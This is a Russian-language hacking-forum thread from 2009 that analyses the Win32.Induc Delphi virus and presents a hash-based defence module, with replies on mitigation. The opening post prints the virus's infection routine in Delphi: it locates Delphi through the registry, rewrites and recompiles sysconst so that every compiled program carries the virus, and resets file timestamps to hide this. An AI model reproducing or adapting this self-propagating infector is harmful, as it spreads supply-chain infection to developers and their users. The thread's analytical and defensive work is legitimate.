Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
Защита от Win32.Induc (Delphi) |

20.08.2009, 22:12
|
|
Познающий
Регистрация: 28.01.2009
Сообщений: 90
Провел на форуме: 432613
Репутация:
80
|
|
Защита от Win32.Induc (Delphi)
Вступление
Недавно в новостях был опубликован, новый гениальный вирус , Virus.Win32.Induc.a заражает Delphi-приложения на этапе разработки.
Вирус оказался необычным и мне захотелось исследовать этот тип вируса.
Разбор полетов, первая модификация этого вируса (12 августа 2009)
PHP код:
function x(s:string):string;
var
i:integer;
begin
for i:=1 to length(s) do
if s[i]=#36 then s[i]:=#39;
result:=s;
end;
procedure re(s,d,e:string);
var
f1,f2:textfile;
h:cardinal;
f:STARTUPINFO;
p:PROCESS_INFORMATION;
b:boolean;
t1,t2,t3:FILETIME;
begin
h:=CreateFile(pchar(d+'bak'),0,0,0,3,0,0);
if h<>DWORD(-1) then
begin
CloseHandle(h);
exit;
end;
{'I-}assignfile(f1,s);
reset(f1);
if ioresult<>0 then
exit;
assignfile(f2,d+'pas');
rewrite(f2);
if ioresult<>0 then
begin
closefile(f1);
exit;
end;
while not eof(f1) do
begin
readln(f1,s);
writeln(f2,s);
if pos('implementation',s)<>0 then
break;
end;
for h:= 1 to 1 do
writeln(f2,sc[h]);
for h:= 1 to 23 do
writeln(f2,''''+sc[h],''',');
writeln(f2,''''+sc[24]+''');');
for h:= 2 to 24 do
writeln(f2,x(sc[h]));
closefile(f1);
closefile(f2);
{'I+}MoveFile(pchar(d+'dcu'),pchar(d+'bak'));
fillchar(f,sizeof(f),0);
f.cb := sizeof(f);
f.dwFlags := STARTF_USESHOWWINDOW;
f.wShowWindow := SW_HIDE;
b := CreateProcess(nil,pchar(e+'"'+d+'pas"'),0,0,false,0,0,0,f,p);
if b then
WaitForSingleObject(p.hProcess,INFINITE);
MoveFile(pchar(d+'bak'),pchar(d+'dcu'));
DeleteFile(pchar(d+'pas'));
h := CreateFile(pchar(d+'bak'),0,0,0,3,0,0);
if h=DWORD(-1) then
exit;
GetFileTime(h,@t1,@t2,@t3);
CloseHandle(h);
h := CreateFile(pchar(d+'dcu'),256,0,0,3,0,0);
if h=DWORD(-1) then
exit;
SetFileTime(h,@t1,@t2,@t3);
CloseHandle(h);
end;
procedure st;
var
k:HKEY;
c:array [1..255] of char;
i:cardinal;
r:string;
v:char;
begin
for v:='4' to '7' do
if
RegOpenKeyEx(HKEY_LOCAL_MACHINE,pchar('Software\Borland\Delphi\'+v+'.0'),0,KEY
_READ,k)=0 then
begin
i:=255;
if RegQueryValueEx(k,'RootDir',nil,@i,@c,@i)=0 then
begin
r:='';
i:=1;
while c[i]<>#0 do
begin
r:=r+c[i];
inc(i);
end;
re(r+'\source\rtl\sys\SysConst'+'.pas',r+'\lib\sysconst.','"'+r+'\bin\dcc32.ex
e" ');
end;
RegCloseKey(k);
end;
end;
begin
st;
end.
Код несложный, изучив его вы сможете понять его логику.
Суть в том, файл sysconst.pas подключается к любым проектом delphi, а главное к файлу sysutils.pas, вследствии этого любое приложение (в том числе и консольное), будет заражено этим вирусом.
Попробуем реализовать, подобное
Откроем файл sysconst.pas, после interface
пишем uses windows;
и после строки implementation, вписываем такой код
Код:
begin
MessageBox(0,'Win32.InducA','virus',0);
end;
Компилируем, ага появилась заветное сообщение.
т.к. создателям исключительно повезло что файл sysconst.pas поставляется в исходных текстах, т.к. больше никакие системные файлы, к примеру sysitils, не поставляется в *.pas файлах, а только в *.dcu -> изменить их нельзя, но...
существуют декомпиляторы dcu файлов, и вирусописатели смогут восстановить код
так, что поняв это я начал писать универсальную защиту от подобного типа вирусов.
Защита
Мною был разработан модуль, подключающийся к любому проекту Delphi, и сигнализирующий о том что библиотеки Delphi инфицированы, для этого был закодирован алгоритм, реализующий следующие действия:
1) Создание файла хешей
2) Сверка хешей, во время запуска
Проведя небольшое исследование, и поняв что защитный модуль, включаемый в разрабатываемую программу должен БЫТЬ ПЕРВЫМ!!!
т.е.
anti_induc, sysutils;
Тогда защита срабатывает до того как инициализируется системная библиотека (sysutils, sysconst)
1) Создание файла хешей
Код:
SnapshopHash(RootDelphiPath+'\Lib',EXP_MASK, true);
В результате выполнения создается файлик по умолчанию ( __hashes.md5), который будет использован для сверки хешей. Т.е. отдельно для каждой машины можно создать файл хешей, в виде
имя файла = хеш файла
2) Сверка хешей
Код:
SnapshopHash(RootDelphiPath+'\Lib',EXP_MASK, false);
Сверка хешей, происходит валидация модулей, при нахождении инфицированого модуля, выдается сообщение
Universal Detect Virus.Win32.Induc.A
File: имя файла
Также результаты записываться в лог файл %Delphi%\Lib\log.txt
Как только будет найден хоть один инфицированный модуль, процесс завершается до того, как вирус начнет действовать.
Заключение
Данный алгоритм, явлется универсальным, и будет спасать от любых модификаций этого вируса, но имеет небольшой недостаток, пересчет md5 хеша, занимает продолжительное время(2-3 сек). Но изпользовать CRC32 сходно самоубийству, т.к. подделать CRC32 можно простейшим плагином к peID.
Как альтернативу советую изпользовать как утилиту для проверки, и сделать так чтобы она запускалась при старте Windows.
исходные файлы, и эксперименты вы можете скачать по слылке
исходники
(с) flacs 2009
P.S: принимаю любую конструктивную критику.
Последний раз редактировалось flacs; 20.08.2009 в 22:22..
|
|
|

20.08.2009, 22:36
|
|
Moderator - Level 7
Регистрация: 02.05.2009
Сообщений: 894
Провел на форуме: 4297091
Репутация:
2261
|
|
во первых вирус не новый
) я там обновил новость. впервые его обнаружили еще весной, но есть мнение, что этому вирусу уже больше года... <думаю комментарии тут не требуются>
код у тебя не полный) выложил бы хоть полный, все равно ведь вирь сам по себе не просто безобидный, но даже создаёт *.bak файл изменяемого им дельфи модуля!11
вот именно у таких виримейкеров надо учиться школьнегам, мечтающим всё у всех отформатировать)
автор позаботился даже о том, чтобы зараженным машиная не было нанесено даже _минимального_ ущерба, и вирус мог бы быть совершенно без последствий удален.
защита? ну да, молодец. +. хотя пытаться защитить винду - все равно, что пытаться поставить заплатки на все дырки в гигантском решете)
в любом случае плюс) лично мне эта защита не нужна, мне интереснее сама эта замечательная зверушка)
|
|
|

20.08.2009, 22:46
|
|
Познающий
Регистрация: 28.01.2009
Сообщений: 90
Провел на форуме: 432613
Репутация:
80
|
|
код вируса я в каком то блоге взял... и логика его работы понятна.
через реестр находим, где установлена Delphi, идем в папку lib, у файла sysconst.pas, меняется расширение(sysconst.bak), из исполняемого файла вытаскивается тело вируса(тело вируса в const), и компилируется утилитой dcc32.exe (производящая в компоновку в *.dcu модули)
Для пущей скрытности, меняется время создания файлов sysconst.bak, sysconst.dcu, в то время когда был создан неинффицированый файл sysconst.pas (оригинальный)
Последний раз редактировалось flacs; 20.08.2009 в 22:56..
|
|
|

20.08.2009, 22:48
|
|
Познавший АНТИЧАТ
Регистрация: 29.04.2007
Сообщений: 1,189
Провел на форуме: 5749763
Репутация:
1680
|
|
А во вторых скоро будут аналоги.... и уже с вредоносным кодом...
|
|
|

21.08.2009, 00:35
|
|
Moderator - Level 7
Регистрация: 02.05.2009
Сообщений: 894
Провел на форуме: 4297091
Репутация:
2261
|
|
вообще, пожалуй, да....
этот код сейчас разошелся по всему миру... я думаю очень многие умельцы используют именно его как основной метод распространения.
так что защита флакса может оказаться гораздо более нужной, чем мне показалось сначала
потому что я, например, не сомневаюсь, что если чуть чуть по-шаманить над кодом - то он опять перестанет палиться)
|
|
|

21.08.2009, 11:53
|
|
Постоянный
Регистрация: 13.12.2008
Сообщений: 354
Провел на форуме: 1747641
Репутация:
175
|
|
Мда... Я думал, что это глюк в Касперском, - палить проги на этапе создания. Поэтому всегда отключал его. Спасибо, не знал раньше об этом вирусе...
|
|
|

21.08.2009, 17:45
|
|
Познающий
Регистрация: 17.07.2009
Сообщений: 47
Провел на форуме: 131272
Репутация:
4
|
|
Спасибо за инфу... буквально позвачера столкнулся с этим вирем...
Как подцепил так и не понял...
|
|
|

21.08.2009, 20:39
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.03.2007
Сообщений: 1,985
Провел на форуме: 3288241
Репутация:
3349
|
|
самый лучший способ защиты - это запретить запись в папку с DCU файлами. Темболее что через установку прав доступа на NTFS это делает проще некудо. Зато можно небояться. потому как врядли вирь будет менять права доступа, покрайней мере по началу. Или вообще убрать себя из владельцев файлов. чтобы даже незя было поменять права доступа просто так. А тока через аудит итд итп
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|